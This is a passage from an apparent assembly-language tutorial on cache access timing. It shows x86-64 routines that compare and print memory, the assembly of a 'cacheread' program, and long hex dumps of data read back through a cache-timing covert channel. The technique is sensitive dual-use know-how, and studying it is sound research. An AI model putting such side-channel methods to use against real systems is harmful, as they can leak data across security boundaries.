RDI the address of the first array
RSI the address of the second array
RDX number of bytes to print

Return

RAX number of bytes that differ between both memory areas

```
31a  <print-comparision 31a>≡ (33) 31b>
      _printcompare:
      <enterstackframe 43c>
          sub     RSP,40
          mov     [RBP-8],RDI
          mov     [RBP-16],RSI
          mov     [RBP-24],RDX
          push    R12
          xor     R12,R12
```

Defines:

_printcompare, used in chunk 32b.

So first we calculate how many 16 bytes chunks there are. For each chunk with 16 bytes we will print out a line.

```
31b  <print-comparision 31a>+≡ (33) <31a 32a>
      shr     RDX,4
      mov     [RBP-32],RDX
      xor     RCX,RCX
      .nextline:
      mov     [RBP-40],RCX
      cmp     RCX,[RBP-32]
      jae     .linesdone
      mov     RAX,RCX
      shl     RAX,4
      mov     RDI,[RBP-8]
      add     RDI,RAX
      mov     RSI,[RBP-16]
      add     RSI,RAX
      mov     RDX,0x10
      call    _printcompare16
      add     R12,RAX
      mov     RCX,[RBP-40]
```

2 Cache Access Timing

```

        inc      RCX
        jmp      .nextline
    .linesdone:
Uses _printcompare16 28a.

```

32a $\langle \text{print-comparision 31a} \rangle + \equiv$ (33) $\triangleleft 31b$

```

        mov      RAX,R12
        pop      R12
         $\langle \text{leavestackframe 43d} \rangle$ 
        ret

```

Now we can print the complete memory compare.

32b $\langle \text{cacheread-program 24b} \rangle + \equiv$ (33) $\triangleleft 27a \ 32d \triangleright$

```

        mov      RDI,data
        mov      RSI,readbackdata
        mov      RDX,pagesize
        call     _printcompare

```

Uses _printcompare 31a, data 8b, pagesize 5, and readbackdata 24a.

Now we will print some statistics and then leave the program.

32c $\langle \text{cacheread-rodata 27b} \rangle + \equiv$ (33) $\triangleleft 27b$

```

        sstatistics:  db "Failed read relation: ",0x00
        sper:        db "/"

```

Defines:

sper, used in chunk 32d.
sstatistics, used in chunk 32d.

32d $\langle \text{cacheread-program 24b} \rangle + \equiv$ (33) $\triangleleft 32b$

```

        push     RAX
        mov      RDI,sstatistics
        call     _print
        pop      RDI
        mov      RSI,scratch
        call     _printdu64bit
        mov      RDI,1
        mov      RSI,sper
        call     _nprint
        mov      RDI,pagesize
        mov      RSI,scratch
        call     _printdu64bit
        mov      RDI,1
        mov      RSI,slf
        call     _nprint

```

$\langle \text{exitProgram 43b} \rangle$

Uses _nprint 45b, _print 46a, _printdu64bit 47a, pagesize 5, scratch 8c, slf 10d, sper 32c, and sstatistics 32c.

Now we can put all together and create the program `cacheread.asm`.

```

33  <cacheread.asm 33>≡
    <preamble 5>

    section .rodata
    <common-rodata 10d>
    <cacheread-rodata 27b>

    section .bss
    <data-udata 8b>
    <probe-udata 13c>
    <readback-udata 24a>
    <timings-udata 16b>
    <scratch-udata 8c>

    section .text
    <cacheread-program 24b>

    <clearcache 13a>

    <calculate-cache-access-time 8a>

    <readcachetiming 14d>

    <analyzecachemintiming 16a>

    <readarea 25a>

    <print-comparision 31a>

    <print-comparision16 28a>

    <xorshift-prng 44a>

    <utilities 43a>

```

Now we have created a program that reads a complete memory area via the covert channel. When executing the program an output like the following should occur. In the example additionally `time` is used to get some timing in the end. We have approx. 13 % errors while read (in the example), which we will accept at this point. This rate also differs depending on the processor and the load of the computer.

```

$ time bin/cacheread
eb 72 06 b6 06 f6 3e 73 d9 7f 32 12 9d 56 e7 e4 - 51 72 06 b6 06 f1 3e e1 d9 e1 32 12 9d 56 fd

```

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```

67 c1 aa c8 a4 4d 4b 80 3b 92 08 d6 9c 93 bd 4d - 67 c1 aa c8 a4 4d 4b 80 3b 92 08
1b e3 03 06 4b 7b 77 36 44 8f d0 fa d8 21 37 8c - 1b e8 03 06 4b 7b 77 36 44 ea d0
1e ae 8e 69 38 37 eb 35 7e c9 8f 32 6e f9 ad bf - 1e ae 8e 69 38 37 e1 35 7e c9 d3
ee 1c 87 10 03 09 4e 90 34 77 a6 7c 94 6c 55 fa - e1 1c 87 10 03 09 4e 90 34 77 a6
97 29 3f af b1 7e b0 0b c2 cc ad 88 58 1f 87 17 - 97 29 3f af fd 7e b0 0b c2 f6 ad
ae c8 e0 79 54 22 52 7e 58 54 0f 79 da ae 07 e3 - ae c8 de 79 54 22 52 7e 58 54 0f
34 53 40 cd 47 a4 f0 23 9b a0 73 d8 cb 43 72 20 - 34 53 40 cd 47 a4 e1 23 9b a0 73
0e ee 69 69 1a 8f a8 c1 df 40 3f d9 ed b1 b3 15 - 0e e1 69 69 1a 8f a8 c1 e1 40 3f
6a 25 4a 12 39 8d 0e 8a 4d 9d 99 2e 75 49 36 bb - 6a 25 4a 12 39 8d 0e 8a 4d 9d 99
59 df 02 31 8d 8f d0 37 3d af 06 e2 6d 8d c3 cb - 59 e1 02 31 8d 8f d0 37 3d af 06
1a 7b a0 f7 1b a8 ab e0 2f db b8 20 e1 fe 79 40 - 1a 7b a0 e1 1b a8 ab a7 2f db b8
53 c7 19 8b ea 2b 8c cd d2 bd d8 56 03 71 39 6d - 53 c7 19 8b e5 2b 8c cd d2 bd d8
6f 21 3f 20 a6 cf 46 46 9f 4f fa 69 fb 4c 3e 21 - 6f 21 3f 20 a6 cf 46 46 9f 4f e1
cb 4d 8a fc 12 9d 5d 13 cd 20 0e bf 86 15 e0 19 - cb 4d 8a 9f 12 9d 5d 13 cd 20 0e
ee dd 4b 71 35 0a 35 54 0c c1 09 5b 98 63 26 06 - f8 8d 4b 71 35 0a 35 54 0c c1 09
f2 d0 f5 80 67 3d 9a 67 fc 62 ef 26 24 73 a0 9c - f2 d0 e1 80 67 3d 9a 67 d5 62 e1
86 f2 53 ca 67 78 6e 34 16 5f 3e 97 78 9e 4a c7 - 86 6f 53 ca 67 78 6e 34 16 5f 3e
7a 53 3f 04 12 ee 5c 24 7d a9 40 8a 8a 9f 87 72 - 7a 53 3f 04 12 e1 5c 24 7d a9 40
11 79 a5 af 12 73 6c 10 b5 fe c1 5f 7e b9 fa 62 - 11 79 a5 af 12 73 6c 10 b5 e5 c1
14 11 79 8f 99 30 23 06 a1 30 34 66 91 76 2c e4 - 14 11 79 8f 99 30 23 06 a1 30 34
2e 1e 32 35 f5 4f 0b a8 ef 6e 44 ff c3 43 af 21 - 2e 1e 32 35 ea 4f 0b a8 e1 6e 44
28 a2 3f f3 35 93 2e e8 31 ec 4d 73 d4 c1 be 17 - 28 a2 3f ce 35 93 2e ea 31 e1 4d
d6 e4 00 3f 7b 96 dc 50 32 79 61 80 b1 bc aa 47 - d6 e5 00 3f 7b 96 dc 50 32 79 61
4f 01 ae 17 0c db 76 27 e7 85 f3 7e c0 3a a3 c7 - 4f 01 ae 17 0c db 76 27 e1 85 b3
1d 3d 96 bf e7 81 81 7e 99 91 15 99 4a 25 f2 4f - 1d 3d 96 bf e8 81 81 7e 99 91 15
07 7c 37 60 5c a0 4c 79 1f 89 ad 45 58 78 4c 65 - 07 7c 37 60 5c a0 4c 79 1f 89 ad
1b a2 a6 a2 49 d4 5a aa 20 08 a2 ea 93 e3 6d df - 1b a2 a6 a2 49 d4 5a aa 20 08 a2
9c f1 e9 00 d1 b0 97 e5 f7 bb 3e 62 b7 2b 40 1d - 9c e1 e5 00 d1 b0 97 4b 56 bb 3e
2c 32 ee 1e 59 11 d0 cd 24 82 91 30 8e 4b 75 1a - 2c 32 e1 1e 59 11 d0 cd 24 82 91
8c 93 9e d3 1b 7c 0d 3c 5c ee 44 e2 fb 62 65 8e - 8c 93 9e d3 1b 7c 0d 3c 5c e9 44
26 6f 78 65 68 f6 0f 7b a9 25 94 3d 19 7e 0a 9d - 26 6f 78 65 68 e1 0f 7b a9 25 94
dd d8 ef 8b 47 54 7c 6e 9d 01 6c 7a f2 4a a4 b1 - dd d8 e1 8b 47 54 7c 6e 9d 01 6c
6f c7 b8 27 65 20 f2 d5 da db 27 ae f4 9f ca fe - 6f c7 b8 27 65 20 e1 d5 da db 27
ae 64 bd 0b 7a 10 36 42 a6 1c 1b 87 c1 72 7a 75 - ae 64 bd 0b 7a 10 36 42 a6 1c 1b
50 a5 6b 5f b0 a6 f7 53 20 51 1f 43 1d b2 5b 8e - 50 a5 6b 5f b0 a6 fd 53 20 51 1f
31 ac 15 fb 78 c4 e6 9c cc 2f 55 c9 da aa 3f f9 - 31 ac 15 e1 78 c4 b8 9c cc 2f 55
e8 71 f9 80 ca f7 40 76 56 f1 89 7f 67 21 c1 75 - 82 71 9f 80 ca e5 40 76 56 f8 89
b1 db 50 6c 62 c4 fe 93 bb 9a 26 25 e3 b1 41 38 - b1 db 50 6c 62 c4 6f 93 bb 9a 26
7d 0d c7 c1 69 14 7f 2d 90 21 b8 31 f5 51 cd 84 - 7d 0d c7 c1 69 14 7f 2d 90 21 b8
0c 37 8f f0 5b 3b b9 db 72 83 96 66 ce 99 eb 69 - 0c 37 8f e5 5b 3b b9 db 72 83 96
47 c0 98 40 ef 8d 91 4a 59 5f a6 1e 1f aa ef 7c - 47 c0 98 40 ea 8d 91 4a 59 5f a6
e9 d7 2d bc a1 64 ce dc 0c dd 13 1b f5 c7 ff 76 - e5 d7 2d bc a1 64 ce dc 0c e1 13
55 3e 25 4e e2 be 12 d4 a5 5f 19 fa 33 7d 5f ec - 55 3e 25 4e fd be 12 d4 a5 5f 19
2f 85 da 7c 10 11 91 a3 e9 68 d9 b7 eb b4 44 c2 - 2f 85 da 7c 10 11 91 a3 e1 68 d9

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2.5 Read Array via Cache Access Time

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67 2e e6 cf 32 a5 73 4f d8 e3 6a 41 50 47 2c bf - 67 2e 55 cf 32 a5 73 4f d8 e1 6a 41 50 47 2c
d3 ca 0d cf f8 ae a5 bc e5 e2 2f 26 5c d4 16 94 - d3 ca 0d cf ea ae a5 bc e8 ea 2f 26 5c d4 16
52 11 33 9d 1e f5 3c 1c 71 fe 71 d1 ee 8c 4a 39 - 52 11 33 9d 1e b3 3c 1c 71 56 71 d1 ea 8c 4a
25 68 38 72 db 00 a2 98 67 9c 98 cf cd 5f 96 5e - 25 68 38 72 db 00 a2 98 67 9c 98 cf cd 5f 96
3a 1a 99 38 75 ad 14 60 a8 82 f4 42 f8 94 9c 86 - 3a 1a 99 38 75 ad 14 60 a8 82 e9 42 fd 94 9c
d9 41 70 94 7c d0 2e 15 6c ca 07 2b 69 4a 0e 9b - d9 41 70 94 7c d0 2e 15 6c ca 07 2b 69 4a 0e
48 2a 2b 1a d9 aa 20 93 64 f5 02 49 d3 a8 61 e2 - 48 2a 2b 1a d9 aa 20 93 64 e1 02 49 d3 a8 61
ae ce 0f 38 23 a6 97 fa 4a e0 2b c4 3b 77 7d bc - ae ce 0f 38 23 a6 97 e5 4a 55 2b c4 3b 77 7d
b6 d0 d9 41 71 87 2a 02 73 4c 55 0a 5e ce b4 d8 - b6 d0 d9 41 71 87 2a 02 73 4c 55 0a 5e ce b4
c1 f2 9a 6e a0 9e 9b 28 e7 d3 b9 32 25 c7 63 10 - c1 cc 9a 6e a0 9e 9b 28 e9 d3 b9 32 25 c7 63
a6 3f 6d 78 2a 9d ab 2c 0d a7 d0 be b5 10 1b ec - a6 3f 6d 78 2a 9d ab 2c 0d a7 d0 be b5 10 1b
d3 01 b3 4f f7 b4 a7 de 8b 5d 11 2f bb c4 a7 90 - d3 01 b3 4f ea b4 a7 e5 8b 5d 11 2f bb c4 a7
c3 84 22 6e 5e 88 e5 e9 09 e1 22 45 88 7c 7a 39 - c3 84 22 6e 5e 88 e1 e5 09 e5 22 45 88 7c 7a
5d b8 83 ab 39 b5 86 4d 89 cd 1a ff 5c 65 dc 73 - 5d b8 83 ab 39 b5 86 4d 89 cd 1a e1 5c 65 dc
07 c6 84 11 05 36 c8 a1 a1 75 10 46 93 4f 2a 5c - 07 c6 84 11 05 36 c8 a1 a1 75 10 46 93 4f 2a
9f 8a dc ae 58 de 61 ce 2d 35 fe 40 00 16 21 4d - 9f 8a dc ae 58 e1 61 ce 2d 35 cf 40 00 16 21
f0 1f c5 93 4d fa 5b 37 c4 b6 5d 4a 46 58 2c 6c - e5 1f c5 93 4d e1 5b 37 c4 e1 5d 4a 46 58 2c
54 91 b9 03 3d 3a f2 03 87 b4 02 d2 0e cf d0 16 - 54 91 b9 03 3d 3a e5 03 87 b4 02 d2 0e cf d0
56 1a 10 e9 1b 40 0f a1 3d 97 8c 68 08 0b 02 b7 - 56 1a 10 e8 1b 40 0f a1 3d 97 8c 68 08 0b 02
19 77 0d 3a ae b0 2d 09 72 c9 3d 58 9b c6 6c c3 - 19 77 0d 3a ae b0 2d 09 72 c9 3d 58 9b c6 6c
c4 e3 4e 2c 3f 60 f5 f6 86 05 a7 04 2d 46 e1 66 - c4 ac 4e 2c 3f 60 e9 ac 86 05 a7 04 2d 46 8c
df e6 bc 8a 6c b0 86 da 09 f3 ed 9d 2f 9b 14 52 - df e5 bc 8a 6c b0 86 da 09 e5 f6 9d 2f 9b 14
77 69 52 ef 69 d1 e7 ed 0c ab 95 ee 36 d8 74 25 - 77 69 52 bb 69 d1 d5 e5 0c ab 95 e1 36 d8 74
ef a6 3a 70 1c c7 0d b8 0b aa 26 1d 38 69 92 c4 - e1 a6 3a 70 1c c7 0d b8 0b aa 26 1d 38 69 92
a2 91 10 bf 30 61 b4 09 d9 5c d6 37 1f 5d ed 75 - a2 91 10 bf 30 61 b4 09 d9 5c d6 37 1f 5d 2d
38 95 94 17 81 23 49 23 bd 03 19 e0 ca b2 b6 cd - 38 95 94 17 81 23 49 23 bd 03 19 e1 ca b2 ea
9d 18 10 66 9c c9 72 c5 3c f0 61 14 ef c4 aa 66 - 9d 18 10 66 9c c9 72 c5 3c e8 61 14 e9 c4 aa
74 45 d0 f8 2b 14 a9 ff 1d 4d af 78 fb 16 98 b0 - 74 45 d0 e1 2b 14 a9 cc 1d 4d af 78 e1 16 98
d8 d4 a2 fa 44 1c 09 a7 84 1e ba 14 11 13 3c ba - d8 d4 a2 f8 44 1c 09 a7 84 1e ba 14 11 13 3c
fe c8 9b 33 3c 9a 01 1a 7f dd 87 01 0b 4d 20 bf - bb c8 9b 33 3c 9a 01 1a 7f 55 87 01 0b 4d 20
2b bf af 66 4e 66 18 b8 e6 78 ee 2e ff cb ab df - 2b bf af 66 4e 66 18 b8 fd 78 e1 2e 7d cb ab
35 6a 5b 7c db 95 a5 32 54 0f c8 83 e5 06 7b c6 - 35 6a 5b 7c db 95 a5 32 54 0f c8 83 ac 06 7b
76 43 59 72 cd 63 c2 1c 90 99 c6 47 aa ae 6e 0a - 76 43 59 72 cd 63 c2 1c 90 99 c6 47 aa ae 6e
97 af cb 28 6b 40 15 fa 87 25 19 11 33 35 92 80 - 97 af cb 28 6b 40 15 e5 87 25 19 11 33 35 92
09 f3 b2 00 60 70 ac 84 30 d3 ae 5e d4 bb da 1d - 09 fd b2 00 60 70 ac 84 30 d3 ae 5e d4 bb da
04 ce a3 1e 15 cb 0c 8b 62 26 a2 5f 75 11 a3 76 - 04 ce a3 1e 15 cb 0c 8b 62 26 a2 5f 75 11 a3
53 dd 3a 85 7b 91 8a 0c 09 1b 1e 8a 76 e9 9c 66 - 53 dd 3a 85 7b 91 8a 0c 09 1b 1e 8a 76 df 9c
4f c1 f8 8d 47 1f fc 2f ed 80 81 2e c3 db 19 cd - 4f c1 ed 8d 47 1f d3 2f e5 80 81 2e c3 db 19
93 de 59 3a 96 74 fc 30 81 9f b3 73 a0 4b 34 08 - 93 e5 59 3a 96 74 e5 30 81 9f b3 73 a0 4b 34
00 6b 41 a9 10 0b 04 00 c3 3f af ad e8 27 b8 00 - 00 6b 41 a9 10 0b 04 00 c3 3f af ad e9 27 b8
8a 9c e1 8c 72 e5 60 51 35 f1 1e f4 09 c1 30 6d - 8a 9c 5d 8c 72 e1 60 51 35 e1 1e 8d 09 c1 30
a1 ab 2a d7 4e 9b 87 c9 19 81 26 67 fb a9 ba 57 - a1 ab 2a d7 4e 9b 87 c9 19 81 26 67 72 a9 ba
99 df 3c 52 be f4 3c f0 8b 7e cb bb 46 e4 54 57 - 99 e8 3c 52 be e1 3c e1 8b 7e cb bb 46 e1 54
a8 74 54 b0 c8 12 ec e6 d2 32 11 f2 17 06 28 5d - a8 74 54 b0 c8 12 c2 0a d2 32 11 e1 17 06 28

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2 Cache Access Timing

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a2 d4 b3 e0 91 ef dc de c6 2e f3 26 33 25 52 26 - a2 d4 b3 c5 91 9f dc de c6 2e fd
69 fd 7a 3c c2 7c 2a 19 fb e4 f0 80 4c 93 96 11 - 69 d3 7a 3c c2 7c 2a 19 e5 fd 2f
d3 24 11 bc 56 1a ea 89 c6 5f b7 9e 41 09 bb dc - d3 24 11 bc 56 1a d3 89 c6 5f b7
88 86 fd 0f de fa b7 5a 28 6d 61 18 8a 8e 4a 8d - 88 86 e9 0f d5 ac b7 5a 28 6d 61
27 b8 ef 4f 12 8e 8b a5 f6 22 7d 5d 87 52 50 dd - 27 b8 e5 4f 12 8e 8b a5 55 22 7d
e7 f9 1b 37 74 83 c0 4c 43 89 6b c9 22 19 35 b0 - e9 ea 1b 37 74 83 c0 4c 43 89 6b
ea 45 3b 71 09 2c 47 29 2a 27 0b 54 fd 94 21 2d - e1 45 3b 71 09 2c 47 29 2a 27 0b
62 5f 79 e8 a8 ab 3a b1 6f e8 b4 6d 53 76 97 e7 - 62 5f 79 e9 a8 ab 3a b1 6f e1 b4
5d 4d ff 22 17 96 c5 a1 14 8d e8 73 11 ba 0d 2b - 5d 4d e8 22 17 96 c5 a1 14 8d e1
f6 52 b5 15 63 6d 92 42 7c 55 ff e8 d4 5e 4a 48 - e1 52 b5 15 63 6d 92 42 7c 55 e1
9c 3c 8b 71 90 45 0e d5 8e 22 35 aa 3c 52 f8 c2 - 9c 3c 8b 71 90 45 0e d5 8e 22 35
03 7a 49 df e7 22 25 f1 3b e3 44 fa 6a b5 55 a2 - 03 7a 49 f8 b8 22 25 fd 3b e1 44
d6 1d e7 8b f8 d6 e0 63 87 a6 c2 5e 4e 32 5a 48 - d6 1d c2 8b e5 d6 e0 63 87 a6 c2
a7 5d 6d cc 2b 47 e8 9c 8d c8 a0 15 75 b4 9c 9a - a7 5d 6d cc 2b 47 d3 9c 8d c8 a0
fc 5d 50 8e 6b 7e 1c 38 e3 f5 f9 4d 61 24 f0 1b - e8 5d 50 8e 6b 7e 1c 38 ea e9 e1
3f 70 fd f0 02 57 ad 81 24 56 ed 42 30 e4 1d ed - 3f 70 ea e1 02 57 ad 81 24 56 e1
5d 53 e2 62 39 04 b5 39 a0 7c 7f bf 75 ce 81 4d - 5d 53 cf 62 39 04 b5 39 a0 7c 7f
12 de a5 fd 01 19 90 8a f9 c6 bf bf 69 6c 78 ab - 12 bb a5 bb 01 19 90 8a 85 c6 bf
73 fd 56 78 6f 1f e1 58 c9 9f 94 1a 9f 94 d2 a4 - 73 cf 56 78 6f 1f d3 58 c9 9f 94
5f f8 60 3e aa 15 0a 0c 55 2c 51 99 38 95 a1 27 - 5f f6 60 3e aa 15 0a 0c 55 2c 51
db 68 d5 b5 3c 93 0e 01 88 2b 46 be 73 d4 d5 1d - db 68 d5 b5 3c 93 0e 01 88 2b 46
1e 1c 27 4c 4c f2 35 5b b2 1e fc 4a c7 7e 6d ec - 1e 1c 27 4c 4c e5 35 5b b2 1e e1
bd 5c 02 35 17 bd 2d ac d0 4a 65 6a af 42 da a4 - bd 5c 02 35 17 bd 2d ac d0 4a 65
e8 49 75 7d 4c 5a 4c 5d 8e 98 b3 16 bf 21 ef d1 - 0a 49 75 7d 4c 5a 4c 5d 8e 98 b3
33 b1 c3 8e 61 05 50 e4 ff b4 76 7b 6b 43 c9 10 - 33 b1 c3 8e 61 05 50 41 ff b4 76
19 d8 23 2c a9 a2 3a b3 de d2 91 0a db 5d 8b 29 - 19 d8 23 2c a9 a2 3a b3 e5 d2 91
a3 84 33 04 f0 00 5c e0 f1 2a 04 68 dc f7 15 46 - a3 84 33 04 e1 00 5c e8 fd 2a 04
cb 7e 2f e5 b0 6d 35 54 51 3f e1 c9 d4 62 66 2f - cb 7e 2f e5 b0 6d 35 54 51 3f e8
0a fa ae 84 5d 68 1d 26 16 37 c7 e9 04 e0 9b eb - 0a b8 ae 84 5d 68 1d 26 16 37 c7
e9 52 fe 64 b8 92 c7 7a f0 08 8a 9a 7a c2 18 a9 - e1 52 e8 64 b8 92 c7 7a e1 08 8a
f1 80 ac 9b 28 00 e6 7d f9 85 88 01 22 01 c2 37 - ea 80 ac 9b 28 00 c5 7d c2 85 88
f1 20 29 8b 2a ba dd 49 a6 29 88 2d f8 42 23 3f - ac 20 29 8b 2a ba dd 49 a6 29 88
86 41 f1 b8 26 f5 f8 88 08 bf d3 5d 31 e8 67 6c - 86 41 e9 b8 26 e8 e1 88 08 bf d3
a1 90 51 bd 63 17 fb 67 e8 c8 f9 a7 da 74 74 42 - a1 90 51 bd 63 17 e5 67 ea c8 e5
0d 07 05 51 1f 20 7f cd 81 40 e6 06 ba f8 36 10 - 0d 07 05 51 1f 20 7f cd 81 40 e1
6a 3a 1a 2b 61 c4 be e6 78 94 6d f8 29 90 b4 16 - 6a 3a 1a 2b 61 c4 be e1 78 94 6d
51 bc 8f 12 b3 34 b8 45 a4 d1 e0 26 0e b6 5d a6 - 51 bc 8f 12 b3 34 b8 45 a4 d1 e1
40 b6 13 03 0d 19 aa ce c8 06 f4 3c 1e 43 86 39 - 40 e1 13 03 0d 19 aa ce c8 06 a8
6c 86 5a cd 47 5c 7e 2f bc 09 2f 7a 30 42 00 f8 - 6c 86 5a cd 47 5c 7e 2f bc 09 2f
73 78 81 f8 34 05 61 26 b7 4c 37 de 87 5b 97 c3 - 73 78 81 95 34 05 61 26 b7 4c 37
74 51 12 34 2a 23 a1 b9 c8 94 41 25 a4 7b cb ec - 74 51 12 34 2a 23 a1 b9 c8 94 41
1b f5 48 f4 ae ed 97 b7 5f 1f 63 0e fb fa 91 dc - 1b c2 48 e1 ae e1 97 b7 5f 1f 63
9c 88 13 9a 9c de 0f 8b b2 b8 50 6b b1 14 9e f4 - 9c 88 13 9a 9c ea 0f 8b b2 b8 50
15 d9 0d f7 42 bf c4 c9 d4 da b6 9b e2 2e 63 5d - 15 d9 0d be 42 bf c4 c9 d4 da b6

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2.5 Read Array via Cache Access Time

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1d 25 51 2f 64 9c a2 75 13 e1 ef e3 55 50 7c e6 - 1d 25 51 2f 64 9c a2 75 13 bb c5 ea 55 50 7c
ae 0b ae e2 23 92 a0 58 71 3d 7e 16 b9 c6 de eb - ae 0b ae d5 23 92 a0 58 71 3d 7e 16 b9 c6 e8
9d 18 36 52 ef f1 9b b5 bc f3 68 bf 53 45 fb 82 - 9d 18 36 52 e1 de 9b b5 bc e5 68 bf 53 45 d5
1b 5f 7b a0 37 00 93 b8 dd 03 24 ca b2 58 af 01 - 1b 5f 7b a0 37 00 93 b8 ea 03 24 ca b2 58 af
2e d0 94 bd 26 7f b1 d5 8c 83 ed b0 82 7b 1c 13 - 2e d0 94 bd 26 7f b1 d5 8c 83 fd b0 82 7b 1c
34 c3 e2 11 36 99 08 79 01 e8 e3 2f 70 cf 9f 0e - 34 c3 e5 11 36 99 08 79 01 e1 ae 2f 70 cf 9f
c8 2d 47 19 57 25 34 63 98 65 48 14 45 55 96 07 - c8 2d 47 19 57 25 34 63 98 65 48 14 45 55 96
9a e8 ec 6a c5 bf 05 08 5b 47 55 40 84 33 74 ff - 9a e1 e5 6a c5 bf 05 08 5b 47 55 40 84 33 74
c6 6f 95 59 f0 6b d7 79 24 15 8d 01 b0 52 11 c6 - c6 6f 95 59 bb 6b d7 79 24 15 8d 01 b0 52 11
f3 b6 a3 64 6d 26 c6 5d e8 97 72 b8 4f b7 73 bb - e9 b6 a3 64 6d 26 c6 5d f6 97 72 b8 4f b7 73
c2 01 dc 7e b0 e8 63 22 4a 26 cd b1 c8 f5 89 b5 - c2 01 dc 7e b0 84 63 22 4a 26 cd b1 c8 e1 89
50 ba 26 ed a6 4b f8 77 e0 28 1a af 83 e1 cd aa - 50 ba 26 ea a6 4b e1 77 fd 28 1a af 83 e5 cd
5d d5 4c c9 6e c9 0c 2f be 1d 0b 72 60 79 26 26 - 5d d5 4c c9 6e c9 0c 2f be 1d 0b 72 60 79 26
45 b1 4b c8 f4 80 0a 72 3e 2e 96 60 56 2e 66 0f - 45 b1 4b c8 cc 80 0a 72 3e 2e 96 60 56 2e 66
00 eb 3d 9f ee bf e2 69 c1 7c f3 fd 74 ab 09 df - 00 de 3d 9f f6 bf ac 69 c1 7c d5 61 74 ab 09
a7 96 8c a6 eb fd 55 bf 7f 2e fb 1d c5 be aa 7e - a7 96 8c a6 f7 f8 55 bf 7f 2e de 1d c5 be aa
fc 45 33 07 7a b5 12 9e a4 b5 0f df 59 0e df 1e - e1 45 33 07 7a b5 12 9e a4 b5 0f e1 59 0e e1
b3 6b 9e 1d 27 1b e4 cd 87 50 9b 9e 82 92 f2 65 - b3 6b 9e 1d 27 1b ac cd 87 50 9b 9e 82 92 e1
33 e3 fb c3 5d 43 26 4c 1b 8e f9 0d c6 f0 64 bb - 33 d3 d5 c3 5d 43 26 4c 1b 8e f8 0d c6 d3 64
78 6d f8 8a b3 f4 b2 6d 01 29 b5 57 2b 79 3b a0 - 78 6d e1 8a b3 e5 b2 6d 01 29 b5 57 2b 79 3b
24 aa d1 2c 2e fb 31 2b 84 11 d2 9e 55 01 bd 40 - 24 aa d1 2c 2e d5 31 2b 84 11 85 9e 55 01 bd
de f2 6d f2 65 8c f4 ca f9 3a 78 34 2a 6e c7 57 - 61 f8 6d ae 65 8c f8 ca e1 3a 78 34 2a 6e c7
4b 16 4c fa 29 0b 2c 68 2d ae 62 c0 3e db 4f 21 - 4b 16 4c f4 29 0b 2c 68 2d ae 62 c0 3e db 4f
6a b3 26 9f 2f 2e 31 60 75 76 69 fb 66 28 50 61 - 6a b3 26 9f 2f 2e 31 60 75 76 69 e5 66 28 50
48 93 c7 ef 7f 2e 7d a8 66 dc eb bb f5 f6 88 cc - 48 93 c7 e1 7f 2e 7d a8 66 dc e5 bb d5 e9 88
1e c4 91 98 f7 d6 58 a2 34 3c 4b a8 92 a1 76 36 - 1e c4 91 98 e5 d6 58 a2 34 3c 4b a8 92 a1 76
b0 86 d6 aa b0 cd 17 3a 60 20 94 b7 2c 0c 9f 40 - b0 86 d6 aa b0 cd 17 3a 60 20 94 b7 2c 0c 9f
81 48 41 82 09 98 76 c1 72 97 81 5c e5 e8 93 a3 - 81 48 41 82 09 98 76 c1 72 97 81 5c d5 e1 93
e2 d3 6b 0f 49 84 e2 d7 7c 18 17 6a f0 42 03 aa - 90 d3 6b 0f 49 84 e9 d7 7c 18 17 6a ea 42 03
1e 58 f9 89 03 e5 a3 fd c2 75 7b a1 43 16 a9 37 - 1e 58 d3 89 03 9f a3 e1 c2 75 7b a1 43 16 a9
93 e2 4e b9 bd b3 8a c6 a3 23 56 8f 72 a0 6e 2f - 93 e1 4e b9 bd b3 8a c6 a3 23 56 8f 72 a0 6e
82 25 73 97 03 90 a0 8b b3 26 b7 ad 63 22 4d 65 - 82 25 73 97 03 90 a0 8b b3 26 b7 ad 63 22 4d
83 7e 25 e1 d9 06 52 90 3d 9d a0 c1 fe d3 ed 92 - 83 7e 25 6f d9 06 52 90 3d 9d a0 c1 f2 d3 ed
57 f1 d2 3a 4b 46 fc fb f1 e5 96 15 c5 8d 3c ec - 57 e1 d2 3a 4b 46 fd e1 e1 e5 96 15 c5 8d 3c
e7 73 06 cd 1a d9 28 6c 7f f1 7f 96 b7 8f 54 62 - e5 73 06 cd 1a d9 28 6c 7f e5 7f 96 b7 8f 54
a6 da e0 87 7c cb 3e 0a 54 78 75 b9 0b 9e 81 d9 - a6 da de 87 7c cb 3e 0a 54 78 75 b9 0b 9e 81
4b ee 51 a2 67 f1 80 6c 11 2e 29 27 e4 e3 8a 5f - 4b ea 51 a2 67 fd 80 6c 11 2e 29 27 ea e5 8a
ff 21 3a 7d dd 72 be 19 cf 9c 52 2b ea 55 a3 61 - e1 21 3a 7d 85 72 be 19 cf 9c 52 2b ac 55 a3
c5 1c dc 68 87 e5 dd 83 11 5c ce d2 57 66 c2 30 - c5 1c dc 68 87 e5 dd 83 11 5c ce d2 57 66 c2
33 b2 1f fd 7f 24 63 60 29 07 74 99 c1 57 b4 2b - 33 b2 1f de 7f 24 63 60 29 07 74 99 c1 57 b4
87 cb c8 88 3b 08 b4 a6 a2 07 dc d1 f6 89 25 74 - 87 cb c8 88 3b 08 b4 a6 a2 07 dc d1 e5 89 25
1b 44 7e 66 c5 1f 53 71 90 64 dd 47 d7 37 ad 82 - 1b 44 7e 66 c5 1f 53 71 90 64 e5 47 d7 37 ad
7c 7a af ae 0c 8b fb 7d 61 a5 db 9f 9a eb 89 85 - 7c 7a af ae 0c 8b e5 7d 61 a5 db 9f 9a e9 89
07 0b a4 a7 c5 f4 5b fe 24 80 a1 98 b6 da 0f bc - 07 0b a4 a7 c5 85 5b e1 24 80 a1 98 b6 da 0f

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2 Cache Access Timing

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5a 1a 7e ac c0 d5 98 89 50 16 33 f7 2c c9 d2 2a - 5a 1a 7e ac c0 d5 98 89 50 16 33
37 6a 19 0d 18 d9 ac 2b bf aa 7f a1 cb 75 24 d1 - 37 6a 19 0d 18 d9 ac 2b bf aa 7f
a5 7a 3a ac 52 c9 bb 8e da a1 af 05 10 bb 07 c3 - a5 7a 3a ac 52 c9 bb 8e da a1 af
62 85 d1 b8 dc aa cd 87 77 41 50 60 48 3c ac 67 - 62 85 d1 b8 dc aa cd 87 77 41 50
1a c7 8c e4 8d 9c 98 f1 a9 fc 20 a3 93 dc 05 2a - 1a c7 8c e1 8d 9c 98 06 a9 f8 20
58 7f 69 a3 39 1a c5 1c f8 da ce 4f b0 86 a3 06 - 58 7f 69 a3 39 1a c5 1c e1 da ce
